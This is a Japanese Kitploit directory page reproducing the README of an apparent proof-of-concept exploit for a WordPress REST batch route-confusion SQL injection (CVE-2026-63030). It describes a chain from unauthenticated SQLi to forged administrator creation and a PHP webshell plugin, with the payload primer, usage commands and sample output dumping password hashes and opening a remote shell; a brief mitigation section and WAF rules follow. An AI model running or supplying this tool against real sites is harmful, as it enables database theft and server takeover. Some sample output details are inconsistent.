Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST バッチ ルート混乱 SQL インジェクション概念実証 (PoC) | Kitploit
ツール/GitHubGitHub/ch4120n/cve-2026-63030
脆弱性スキャナーエクスプロイトウェブセキュリティペネトレーションテスト学習と教育
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST バッチ ルート混乱 SQL インジェクション概念実証 (PoC)

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63030

WordPress REST バッチルート混乱 SQLインジェクション (CVE-2026-63030) 概念実証
リサーチ、エクスプロイト開発 & ドキュメント: Ch4120N

CVE Python License Status


⚠️ 法的免責事項

このリポジトリおよび付属ツール (exploit.py) は、教育目的、許可を得たペネトレーションテスト、およびセキュリティ研究のためのみに提供されています。
明示的かつ事前の書面による同意なしにこのエクスプロイトを標的に対して使用することは違法であり、世界中のコンピュータ詐欺および不正使用防止法に違反します。著者 (Ch4120N) は、このコードの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。常に法律の範囲内で行動し、適切な許可を取得してください。


📖 脆弱性の概要: CVE-2026-63030

CVE-2026-63030 は、WordPress REST API に影響を与える重大な未認証の脆弱性です。これは、ネストされたバッチ処理エンドポイント (/wp-json/batch/v1 または /?rest_route=/batch/v1) 内のルート混乱バグを悪用します。

根本原因

WordPress が REST API リクエストのバッチを処理するとき、各サブリクエストは実行前にその特定のスキーマに対して検証されます。しかし、内部ルーティングポインタが意図的に不正な形式のパス (例: ///) を処理する方法の欠陥により、検証スキーマが実際の実行ハンドラと同期しなくなります。

攻撃チェーン

  1. ルート混乱 & SQLi: 攻撃者はネストされたバッチペイロードを注入します。この同期ずれにより、/wp/v2/users エンドポイント (author_exclude を受け付けない) を標的としたリクエストが /wp/v2/posts ハンドラによって実行されます。サニタイズされていない author_exclude パラメータは WP_Query の author__not_in 句に直接渡され、未認証 SQLインジェクション が発生します。
  2. 事前認証による管理者作成: SQLi を使用してデータベースを読み取り、oembed_cache 投稿 ID を特定します。次にエクスプロイトは Customizer の changeset ペイロードを使用してナビゲーションメニューキャッシュを汚染し、既存の管理者のコンテキストでユーザー作成リクエストを実行するよう WordPress を欺きます。
  3. リモートコード実行 (RCE): 新しく偽造された管理者アカウントを使用して、ツールは認証し、ランダム化されたトークンゲート付き PHP ウェブシェルプラグインをアップロードし、OS コマンドを実行して、すべての痕跡を安全に削除します。

影響を受けるバージョン

  • WordPress 6.9.0 から 6.9.4
  • WordPress 7.0.0 から 7.0.1 (注: 特定のプラグイン構成や REST API のバックポートによっては、古いバージョンも影響を受ける可能性があります)。

🚀 特徴

  • 依存関係ゼロ: 100% Python 3 標準ライブラリ。pip install は不要です。
  • 単一ファイルのモジュール設計: すべてのコンポーネント (クライアント、SQLi、エクスプロイト、シェル、CLI) が1つのポータブルスクリプト (exploit.py) に整理されています。
  • マルチテクニック SQL 抽出: 利用可能な最速の方法を自動的にフォールバックします:
    1. UNION ベース: 偽の WP_Post 行を偽造することによるインバンド抽出 (値ごとに1リクエスト)。
    2. エラーベース: WP_DEBUG_DISPLAY が有効な場合に EXTRACTVALUE() XPATH エラーを利用します。
    3. ブラインドブール/タイミング: 設定可能なスリープ遅延を使用したバイナリ検索による文字抽出。
  • 自動事前認証ブリッジ: 既存の認証情報は不要です。ツールがその場で独自の管理者アカウントを作成します。
  • 一時的なウェブシェル: 一意のプラグインスラッグと暗号学的に安全なトークンを生成します。シェルはトークンなしでは実行を拒否し、使用後に自己破壊します。
  • 自動クリーンアップ: 終了時に偽造した管理者アカウントを自動的に削除し、ウェブシェルプラグインディレクトリを削除します。
  • 対話型 REPL: リモートの作業ディレクトリ状態を維持する擬似ターミナルを提供します (cd 対応)。

📦 インストール & 要件

サードパーティ製パッケージは不要です。Python 3.8 以上 がインストールされていることを確認してください。

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 詳細な使用方法 & オプション

エクスプロイトは check、read、shell の3つのメインサブコマンドに分かれています。

グローバルオプション

これらのオプションはすべてのサブコマンドに適用されます:

1. check - 脆弱性の検出

データを抽出することなく、ルート混乱マーカーの存在を確認するためにターゲットを安全にプローブし、SQLi のタイミングをテストします。

2. read - データベース抽出

SQL インジェクションを介してデータベースから直接データを抽出します。

3. shell - リモートコード実行

ウェブシェルを展開してコマンドを実行します。認証情報が提供されない場合、事前認証の管理者作成ブリッジを自動的にトリガーします。


🖥️ 実行結果と例

以下は、ツールの実際の使用例です。

例1: 脆弱性の確認

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

例2: データベースフィンガープリントの抽出

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

例3: ユーザー認証情報のダンプ

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

例4: 対話型シェルの取得 (事前認証)

ツールが管理者アカウントを自動的に作成し、シェルを展開し、終了後にクリーンアップする様子に注目してください。

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 技術的な詳細

非同期化プライマー

エクスプロイトの核心は、_DESYNC_PRIMER = {"method": "POST", "path": "///"} を注入することに依存しています。この無効な URL により、WordPress の内部ルーティングは最初のサブリクエストに対して WP_Error を生成します。これにより内部ポインタがずれ、2番目 のサブリクエストがあるスキーマに対して検証されつつ、3番目 のサブリクエストのハンドラによって実行される状態になります。これにより author_exclude パラメータが WP_Query に密かに注入されます。

UNION 偽装投稿プリミティブ

遅いブラインド SQLi の代わりに、このツールは UNION SELECT を使用して完全に構成された偽の wp_posts 行を注入します。orderby=none と per_page=500 を設定することで、WP_Query がクエリを分割するのを防ぎます。注入された post_title には、ターゲットの SQL 式の結果が || 区切り文字でラップされた16進エンコード形式で含まれ、REST API の JSON レスポンスに直接反映されます。

ウェブシェルの OpSec

展開される PHP プラグインは高いステルス性を備えて設計されています:

  • ランダム化されたディレクトリとファイル名 (例: wp_a1b2c3d4.php)。
  • GET パラメータを介して 32 文字の16進トークン (t) とコマンド (c) を要求します。
  • hash_equals() を使用してトークンに対するタイミング攻撃を防ぎます。
  • パス情報の開示を防ぐために自動的にディレクトリを変更します (chdir)。
  • 出力は Python クライアントがクリーンに解析できるように EXPLOIT::...::END マーカーでラップされます。

🛡️ 緩和策と修正

  1. WordPress を更新: CVE-2026-63030 のパッチを含む WordPress 7.0.2 以降に直ちにアップグレードしてください。
  2. バッチエンドポイントを無効化: バッチエンドポイントが明示的に必要でない場合は、must-use プラグイン (mu-plugins) を使用して無効化します:
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Web アプリケーションファイアウォール (WAF): 以下をブロックするルールを実装します:
    • URI に author_exclude を含むネストされた /batch/v1 リクエスト。
    • URL パラメータに UNION、SLEEP()、または EXTRACTVALUE を含むリクエスト。
    • REST API リクエスト内の /// のような不正な形式のパス。
  4. WP_DEBUG_DISPLAY を無効化: エラーベースの SQLi リークを防ぐために、wp-config.php で WP_DEBUG_DISPLAY が に設定されていることを確認します。

📜 クレジットと謝辞

  • 脆弱性研究 & エクスプロイト開発: Ch4120N
  • コンセプトの着想: WordPress REST API のルート混乱、oEmbed キャッシュポイズニング、および Customizer の changeset プリミティブ。

"大いなる力には大いなる責任が伴う。この知識を破壊ではなく防衛のために使ってください。"
— Ch4120N

ツールをダウンロード
オプション説明デフォルト
urlターゲットのベース URL (例: http://target.com)必須
--rest-route/wp-json/batch/v1 の代わりに /?rest_route=/batch/v1 を使用します (パーマリンクが無効なサイト向け)。False
--timeoutHTTP リクエストのタイムアウト時間 (秒)。30.0
--proxyHTTP/HTTPS プロキシ (例: http://127.0.0.1:8080)。None
オプション説明デフォルト
--sleep--confirm-sqli フォールバックで使用する SQL タイミング遅延 (秒)。3.0
--samplesテストするベースライン/遅延 SQL タイミングペアの数。3
--confirm-sqliアクティブな SQLi 確認ペイロードを送信します (わずかな遅延が追加されます)。False
オプション説明デフォルト
--presetクイック抽出プリセット: fingerprint (バージョン/ユーザー/DB) または users (ログイン/ハッシュ)。fingerprint
--queryカスタムのスカラー SQL 式を実行します (例: "SELECT @@version")。None
--prefixデータベーステーブルのプレフィックス。wp_
--max-length値ごとに抽出する最大文字数。128
--technique抽出テクニック: auto、union、error、または blind。auto
オプション説明デフォルト
--user管理者ユーザー名。(省略すると事前認証ブリッジを使用します)。None
--password管理者パスワード。(省略すると事前認証ブリッジを使用します)。None
--cmdターゲット上で実行する単一のコマンド。None
-i, --interactive展開後に対話型シェル (REPL) を開きます。False
false